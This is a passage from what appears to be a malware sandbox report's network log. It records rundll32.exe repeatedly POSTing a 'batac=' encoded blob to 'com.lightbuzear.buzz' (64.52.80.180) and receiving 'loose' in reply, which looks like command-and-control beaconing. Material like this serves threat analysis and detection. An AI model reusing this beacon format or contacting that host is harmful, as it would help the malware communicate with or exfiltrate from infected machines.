2022-08-14 06:40:08 UTC	66	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:09 UTC	67	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:08 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:09 UTC	67	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49176	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:29 UTC	8	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:29 UTC	8	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:30 UTC	9	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:30 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:30 UTC	9	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.22	49212	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:09 UTC	67	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:09 UTC	67	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:10 UTC	69	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:09 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:10 UTC	69	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.22	49213	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:10 UTC	69	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:10 UTC	69	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:11 UTC	70	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:11 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:11 UTC	70	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.22	49214	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:11 UTC	70	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:11 UTC	71	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:12 UTC	72	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:12 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:12 UTC	72	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.22	49215	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:12 UTC	72	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:12 UTC	72	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:13 UTC	73	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:13 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:13 UTC	74	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.22	49216	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:13 UTC	74	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:13 UTC	74	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:14 UTC	75	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:14 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:14 UTC	75	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.22	49217	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:14 UTC	75	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:14 UTC	76	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:15 UTC	77	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:15 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:15 UTC	77	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.22	49218	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:16 UTC	77	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:16 UTC	77	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:16 UTC	78	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:16 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:16 UTC	79	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.22	49219	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:17 UTC	79	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:17 UTC	79	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:17 UTC	80	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:17 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:17 UTC	80	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.22	49220	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:18 UTC	80	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:18 UTC	81	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:18 UTC	82	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:18 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:18 UTC	82	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.22	49221	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:19 UTC	82	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
